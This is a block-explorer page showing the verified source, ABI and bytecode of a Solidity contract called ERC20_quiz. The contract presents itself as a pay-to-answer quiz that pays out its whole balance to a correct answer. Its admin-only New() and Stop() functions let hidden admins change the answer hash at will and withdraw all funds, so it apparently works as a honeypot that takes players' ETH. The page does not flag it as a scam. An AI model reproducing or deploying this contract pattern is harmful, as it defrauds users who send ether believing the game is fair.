Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
16188650 | 754 days ago | 25 ETH |
Loading...
Loading
Contract Name:
ERC20_quiz
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-11 */ contract ERC20_quiz { function Try(string memory _response) public payable { require(msg.sender == tx.origin); if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether) { payable(msg.sender).transfer(address(this).balance); } } string public question; bytes32 responseHash; mapping (bytes32=>bool) admin; function Start(string calldata _question, string calldata _response) public payable isAdmin{ if(responseHash==0x0){ responseHash = keccak256(abi.encode(_response)); question = _question; } } function Stop() public payable isAdmin { payable(msg.sender).transfer(address(this).balance); } function New(string calldata _question, bytes32 _responseHash) public payable isAdmin { question = _question; responseHash = _responseHash; } constructor(bytes32[] memory admins) { for(uint256 i=0; i< admins.length; i++){ admin[admins[i]] = true; } } modifier isAdmin(){ require(admin[keccak256(abi.encodePacked(msg.sender))]); _; } fallback() external {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"bytes32[]","name":"admins","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"bytes32","name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"string","name":"_response","type":"string"}],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_response","type":"string"}],"name":"Try","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"question","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405234801561001057600080fd5b5060405161083a38038061083a83398101604081905261002f916100a8565b60005b81518110156100a15760016002600084848151811061006157634e487b7160e01b600052603260045260246000fd5b6020026020010151815260200190815260200160002060006101000a81548160ff021916908315150217905550808061009990610161565b915050610032565b505061019e565b600060208083850312156100ba578182fd5b82516001600160401b03808211156100d0578384fd5b818501915085601f8301126100e3578384fd5b8151818111156100f5576100f5610188565b8381026040518582820101818110858211171561011457610114610188565b604052828152858101935084860182860187018a1015610132578788fd5b8795505b83861015610154578051855260019590950194938601938601610136565b5098975050505050505050565b600060001982141561018157634e487b7160e01b81526011600452602481fd5b5060010190565b634e487b7160e01b600052604160045260246000fd5b61068d806101ad6000396000f3fe60806040526004361061004a5760003560e01c80633853682c146100595780633fad9ae01461006e578063bedf0f4a14610099578063c76de3e9146100a1578063ed8df164146100b4575b34801561005657600080fd5b50005b61006c6100673660046104c6565b6100c7565b005b34801561007a57600080fd5b50610083610147565b60405161009091906105b3565b60405180910390f35b61006c6101d5565b61006c6100af36600461045d565b610248565b61006c6100c2366004610413565b6102d8565b3332146100d357600080fd5b806040516020016100e491906105b3565b604051602081830303815290604052805190602001206001541480156101115750670de0b6b3a764000034115b156101445760405133904780156108fc02916000818181858888f19350505050158015610142573d6000803e3d6000fd5b505b50565b6000805461015490610606565b80601f016020809104026020016040519081016040528092919081815260200182805461018090610606565b80156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b60026000336040516020016101ea9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661021c57600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610144573d6000803e3d6000fd5b600260003360405160200161025d9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661028f57600080fd5b6001546102d25781816040516020016102a9929190610584565b60408051601f1981840301815291905280516020909101206001556102d060008585610333565b505b50505050565b60026000336040516020016102ed9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661031f57600080fd5b61032b60008484610333565b506001555050565b82805461033f90610606565b90600052602060002090601f01602090048101928261036157600085556103a7565b82601f1061037a5782800160ff198235161785556103a7565b828001600101855582156103a7579182015b828111156103a757823582559160200191906001019061038c565b506103b39291506103b7565b5090565b5b808211156103b357600081556001016103b8565b60008083601f8401126103dd578081fd5b50813567ffffffffffffffff8111156103f4578182fd5b60208301915083602082850101111561040c57600080fd5b9250929050565b600080600060408486031215610427578283fd5b833567ffffffffffffffff81111561043d578384fd5b610449868287016103cc565b909790965060209590950135949350505050565b60008060008060408587031215610472578081fd5b843567ffffffffffffffff80821115610489578283fd5b610495888389016103cc565b909650945060208701359150808211156104ad578283fd5b506104ba878288016103cc565b95989497509550505050565b600060208083850312156104d8578182fd5b823567ffffffffffffffff808211156104ef578384fd5b818501915085601f830112610502578384fd5b81358181111561051457610514610641565b604051601f8201601f191681018501838111828210171561053757610537610641565b604052818152838201850188101561054d578586fd5b818585018683013790810190930193909352509392505050565b60609190911b6bffffffffffffffffffffffff1916815260140190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b6000602080835283518082850152825b818110156105df578581018301518582016040015282016105c3565b818111156105f05783604083870101525b50601f01601f1916929092016040019392505050565b60028104600182168061061a57607f821691505b6020821081141561063b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fdfea264697066735822122055264af72717e2d2c1cd447bb5c3e8b46b273cdf16309aa160bd696c3aceee3f64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000038f516e660a45b07f974f9db5f73024b05816946e7f067eab7b4ed33cfe7e569cb2ea7218c58eb14249afa5b09ae6c5d7143e0874f4b6493e0e617bf2031e4f1f27389f6aca7c3a1a1b222d062f3882190d3a195ab438a41986bf4f747b40ce0f
Deployed Bytecode
0x60806040526004361061004a5760003560e01c80633853682c146100595780633fad9ae01461006e578063bedf0f4a14610099578063c76de3e9146100a1578063ed8df164146100b4575b34801561005657600080fd5b50005b61006c6100673660046104c6565b6100c7565b005b34801561007a57600080fd5b50610083610147565b60405161009091906105b3565b60405180910390f35b61006c6101d5565b61006c6100af36600461045d565b610248565b61006c6100c2366004610413565b6102d8565b3332146100d357600080fd5b806040516020016100e491906105b3565b604051602081830303815290604052805190602001206001541480156101115750670de0b6b3a764000034115b156101445760405133904780156108fc02916000818181858888f19350505050158015610142573d6000803e3d6000fd5b505b50565b6000805461015490610606565b80601f016020809104026020016040519081016040528092919081815260200182805461018090610606565b80156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b60026000336040516020016101ea9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661021c57600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610144573d6000803e3d6000fd5b600260003360405160200161025d9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661028f57600080fd5b6001546102d25781816040516020016102a9929190610584565b60408051601f1981840301815291905280516020909101206001556102d060008585610333565b505b50505050565b60026000336040516020016102ed9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661031f57600080fd5b61032b60008484610333565b506001555050565b82805461033f90610606565b90600052602060002090601f01602090048101928261036157600085556103a7565b82601f1061037a5782800160ff198235161785556103a7565b828001600101855582156103a7579182015b828111156103a757823582559160200191906001019061038c565b506103b39291506103b7565b5090565b5b808211156103b357600081556001016103b8565b60008083601f8401126103dd578081fd5b50813567ffffffffffffffff8111156103f4578182fd5b60208301915083602082850101111561040c57600080fd5b9250929050565b600080600060408486031215610427578283fd5b833567ffffffffffffffff81111561043d578384fd5b610449868287016103cc565b909790965060209590950135949350505050565b60008060008060408587031215610472578081fd5b843567ffffffffffffffff80821115610489578283fd5b610495888389016103cc565b909650945060208701359150808211156104ad578283fd5b506104ba878288016103cc565b95989497509550505050565b600060208083850312156104d8578182fd5b823567ffffffffffffffff808211156104ef578384fd5b818501915085601f830112610502578384fd5b81358181111561051457610514610641565b604051601f8201601f191681018501838111828210171561053757610537610641565b604052818152838201850188101561054d578586fd5b818585018683013790810190930193909352509392505050565b60609190911b6bffffffffffffffffffffffff1916815260140190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b6000602080835283518082850152825b818110156105df578581018301518582016040015282016105c3565b818111156105f05783604083870101525b50601f01601f1916929092016040019392505050565b60028104600182168061061a57607f821691505b6020821081141561063b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fdfea264697066735822122055264af72717e2d2c1cd447bb5c3e8b46b273cdf16309aa160bd696c3aceee3f64736f6c63430008000033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000038f516e660a45b07f974f9db5f73024b05816946e7f067eab7b4ed33cfe7e569cb2ea7218c58eb14249afa5b09ae6c5d7143e0874f4b6493e0e617bf2031e4f1f27389f6aca7c3a1a1b222d062f3882190d3a195ab438a41986bf4f747b40ce0f
-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]
-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : 8f516e660a45b07f974f9db5f73024b05816946e7f067eab7b4ed33cfe7e569c
Arg [3] : b2ea7218c58eb14249afa5b09ae6c5d7143e0874f4b6493e0e617bf2031e4f1f
Arg [4] : 27389f6aca7c3a1a1b222d062f3882190d3a195ab438a41986bf4f747b40ce0f
Deployed Bytecode Sourcemap
0:1258:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28:284;;;;;;:::i;:::-;;:::i;:::-;;320:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;665:109;;;:::i;418:239::-;;;;;;:::i;:::-;;:::i;782:164::-;;;;;;:::i;:::-;;:::i;28:284::-;105:10;119:9;105:23;97:32;;;;;;182:9;171:21;;;;;;;;:::i;:::-;;;;;;;;;;;;;161:32;;;;;;145:12;;:48;:71;;;;;209:7;197:9;:19;145:71;142:163;;;242:51;;250:10;;271:21;242:51;;;;;;;;;271:21;250:10;242:51;;;;;;;;;;;;;;;;;;;;;142:163;28:284;:::o;320:22::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;665:109::-;1158:5;:46;1191:10;1174:28;;;;;;;;:::i;:::-;;;;-1:-1:-1;;1174:28:0;;;;;;;;;1164:39;;1174:28;1164:39;;;;1158:46;;;;;;;;;;-1:-1:-1;1158:46:0;;;;1150:55;;;;;;715:51:::1;::::0;723:10:::1;::::0;744:21:::1;715:51:::0;::::1;;;::::0;::::1;::::0;;;744:21;723:10;715:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;418:239:::0;1158:5;:46;1191:10;1174:28;;;;;;;;:::i;:::-;;;;-1:-1:-1;;1174:28:0;;;;;;;;;1164:39;;1174:28;1164:39;;;;1158:46;;;;;;;;;;-1:-1:-1;1158:46:0;;;;1150:55;;;;;;523:12:::1;::::0;520:130:::1;;592:9;;581:21;;;;;;;;;:::i;:::-;;::::0;;-1:-1:-1;;581:21:0;;::::1;::::0;;;;;;571:32;;581:21:::1;571:32:::0;;::::1;::::0;556:12:::1;:47:::0;618:20:::1;:8;629:9:::0;;618:20:::1;:::i;:::-;;520:130;418:239:::0;;;;:::o;782:164::-;1158:5;:46;1191:10;1174:28;;;;;;;;:::i;:::-;;;;-1:-1:-1;;1174:28:0;;;;;;;;;1164:39;;1174:28;1164:39;;;;1158:46;;;;;;;;;;-1:-1:-1;1158:46:0;;;;1150:55;;;;;;879:20:::1;:8;890:9:::0;;879:20:::1;:::i;:::-;-1:-1:-1::0;910:12:0::1;:28:::0;-1:-1:-1;;782:164:0:o;-1:-1:-1:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:374:1;;;132:3;125:4;117:6;113:17;109:27;99:2;;155:6;147;140:22;99:2;-1:-1:-1;183:20:1;;226:18;215:30;;212:2;;;265:8;255;248:26;212:2;309:4;301:6;297:17;285:29;;361:3;354:4;345:6;337;333:19;329:30;326:39;323:2;;;378:1;375;368:12;323:2;89:299;;;;;:::o;393:501::-;;;;542:2;530:9;521:7;517:23;513:32;510:2;;;563:6;555;548:22;510:2;608:9;595:23;641:18;633:6;630:30;627:2;;;678:6;670;663:22;627:2;722:61;775:7;766:6;755:9;751:22;722:61;:::i;:::-;802:8;;696:87;;-1:-1:-1;884:2:1;869:18;;;;856:32;;500:394;-1:-1:-1;;;;500:394:1:o;899:755::-;;;;;1068:2;1056:9;1047:7;1043:23;1039:32;1036:2;;;1089:6;1081;1074:22;1036:2;1134:9;1121:23;1163:18;1204:2;1196:6;1193:14;1190:2;;;1225:6;1217;1210:22;1190:2;1269:61;1322:7;1313:6;1302:9;1298:22;1269:61;:::i;:::-;1349:8;;-1:-1:-1;1243:87:1;-1:-1:-1;1437:2:1;1422:18;;1409:32;;-1:-1:-1;1453:16:1;;;1450:2;;;1487:6;1479;1472:22;1450:2;;1531:63;1586:7;1575:8;1564:9;1560:24;1531:63;:::i;:::-;1026:628;;;;-1:-1:-1;1613:8:1;-1:-1:-1;;;;1026:628:1:o;1659:958::-;;1759:2;1802;1790:9;1781:7;1777:23;1773:32;1770:2;;;1823:6;1815;1808:22;1770:2;1868:9;1855:23;1897:18;1938:2;1930:6;1927:14;1924:2;;;1959:6;1951;1944:22;1924:2;2002:6;1991:9;1987:22;1977:32;;2047:7;2040:4;2036:2;2032:13;2028:27;2018:2;;2074:6;2066;2059:22;2018:2;2115;2102:16;2137:2;2133;2130:10;2127:2;;;2143:18;;:::i;:::-;2192:2;2186:9;2261:2;2242:13;;-1:-1:-1;;2238:27:1;2226:40;;2222:49;;2286:18;;;2306:22;;;2283:46;2280:2;;;2332:18;;:::i;:::-;2368:2;2361:22;2392:18;;;2429:11;;;2425:20;;2422:33;-1:-1:-1;2419:2:1;;;2473:6;2465;2458:22;2419:2;2534;2529;2525;2521:11;2516:2;2508:6;2504:15;2491:46;2557:15;;;2553:24;;;2546:40;;;;-1:-1:-1;2561:6:1;1739:878;-1:-1:-1;;;1739:878:1:o;2622:229::-;2771:2;2767:15;;;;-1:-1:-1;;2763:53:1;2751:66;;2842:2;2833:12;;2741:110::o;2856:393::-;;3015:2;3004:9;2997:21;3054:6;3049:2;3038:9;3034:18;3027:34;3111:6;3103;3098:2;3087:9;3083:18;3070:48;3138:22;;;3162:2;3134:31;;;3127:45;;;;3233:2;3212:15;;;-1:-1:-1;;3208:29:1;3193:45;3189:54;;2987:262;-1:-1:-1;2987:262:1:o;3254:603::-;;3395:2;3424;3413:9;3406:21;3456:6;3450:13;3499:6;3494:2;3483:9;3479:18;3472:34;3524:4;3537:140;3551:6;3548:1;3545:13;3537:140;;;3646:14;;;3642:23;;3636:30;3612:17;;;3631:2;3608:26;3601:66;3566:10;;3537:140;;;3695:6;3692:1;3689:13;3686:2;;;3765:4;3760:2;3751:6;3740:9;3736:22;3732:31;3725:45;3686:2;-1:-1:-1;3841:2:1;3820:15;-1:-1:-1;;3816:29:1;3801:45;;;;3848:2;3797:54;;3375:482;-1:-1:-1;;;3375:482:1:o;3862:380::-;3947:1;3937:12;;3994:1;3984:12;;;4005:2;;4059:4;4051:6;4047:17;4037:27;;4005:2;4112;4104:6;4101:14;4081:18;4078:38;4075:2;;;4158:10;4153:3;4149:20;4146:1;4139:31;4193:4;4190:1;4183:15;4221:4;4218:1;4211:15;4075:2;;3917:325;;;:::o;4247:127::-;4308:10;4303:3;4299:20;4296:1;4289:31;4339:4;4336:1;4329:15;4363:4;4360:1;4353:15
Swarm Source
ipfs://55264af72717e2d2c1cd447bb5c3e8b46b273cdf16309aa160bd696c3aceee3f
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.